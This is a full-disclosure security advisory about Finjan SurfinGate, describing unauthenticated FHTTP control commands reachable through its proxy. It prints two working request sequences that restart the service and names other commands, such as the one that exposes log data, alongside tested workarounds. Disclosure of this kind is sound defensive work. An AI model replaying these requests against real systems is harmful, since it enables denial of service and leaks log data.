full-disclosure - Finjan SurfinGate Vulnerability

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From: davidribyrne at yahoo.com (David Byrne)
Subject: Finjan SurfinGate Vulnerability

VENDOR:       Finjan (www.finjan.com)
PRODUCT:      SurfinGate (recently renamed “Vital
Security”)
VERSIONS:     All releases of versions 6 & 7 as of
1/22/2004. 
              Older versions have not been tested.
NOTIFICATION: The vendor has known of the problem over
a year

DESCRIPTION
=======================================================
Finjan SurfinGate provides malicious code scanning for
web traffic. It focuses on behavior-based filtering of
active content (e.g. ActiveX, Java, scripting), but
also integrates a McAfee virus scanner. 

PROBLEM
=======================================================
When running in proxy mode, properly crafted requests
sent to Finjan SurfinGate can mimic control commands.
Known vulnerabilities include viewing log data and
causing the service to restart, potentially resulting
in a DoS situation. The application’s architecture
suggests there is a potential for modifying the
filtering policy as well.

DETAILS
=======================================================
SurfinGate scanning servers receive commands by
listening on a control port (TCP/3141 by default) for
an HTTP-based protocol called “FHTTP”. Normally the
FHTTP commands come from a management console or
policy database server, but commands are not
authenticated and can come from any source, including
the local HTTP proxy. This allows any user to issue
server commands via the proxy server. 

The “finjan-parameter-type” parameter is the actual
command. Known commands include “restart” to restart
the service, “getlastmsg” to view log information and
“online” to force a policy update from the database
server. Running “strings” on the server binary
(“bin/FinjanServer”) reveals other possible targets.

EXPLOITS
=======================================================
Below are two examples of sessions with the proxy
server that issue a restart command.

     Example 1:
          >>> CONNECT LOCALHOST:3141 HTTP/1.0
          >>>

          <<< HTTP/1.0 200 Connection established
          <<< Proxy-agent: Finjan-SurfinGate/6.0
          <<<

          >>> FINJAN /stam HTTP/1.0
          >>> finjan-version: fhttp/1.0
          >>> finjan-command: custom
          >>> finjan-parameter-category: console
          >>> finjan-parameter-type: restart
          >>> content-length: 0
          >>>

          <<< HTTP/1.0 200 OK
          <<< finjan-version: fhttp/1.0
          <<<
          <<<

     Example 2:
          >>> FINJAN localhost:3141/stam HTTP/1.0
          >>> finjan-version: fhttp/1.0
          >>> finjan-command: custom
          >>> finjan-parameter-category: console
          >>> finjan-parameter-type: restart
          >>> content-length: 0
          >>>

          <<< HTTP/1.0 200 OK
          <<< finjan-version: fhttp/1.0
          <<<
          <<<

WORKAROUNDS
=======================================================
Firewall filtering will is not adequate since the
commands come over the same port that services
legitimate HTTP requests. These are possible
workarounds that have been successfully tested.

* Use a proxy server between the user and SurfinGate
server to block CONNECT commands to ports other than
443 AND block non-standard HTTP commands (i.e.
“FINJAN”).

* Inside the SurfinGate policy, add URL rules to block
all access to any hostname or IP address that would
connect to the FHTTP port. This can be a long list;
localhost, 127.0.0.1, the hostname, loghost for
Solaris machines, the IP address SurfinGate binds to,
any DNS entries, etc.

* Change the control port to something besides 3141.
This is pretty weak, but better than nothing.

NOTES
=======================================================
Just to reiterate, the ability to change the policy
has not been confirmed, but seems likely. The
SurfinGate database server and SurfinShield (a desktop
product) database server also use FHTTP for management
commands, so that is a likely source for more
vulnerabilities to explore. Because the SurfinGate
scanning/proxy server has to communicate with the
database server using FHTTP, there is guaranteed
access to the database via the proxy if the hostname
or IP address is known. The workarounds listed above
should also work for restricting access to the
database server, but have not been tested.

David Byrne, CISSP, MCSE

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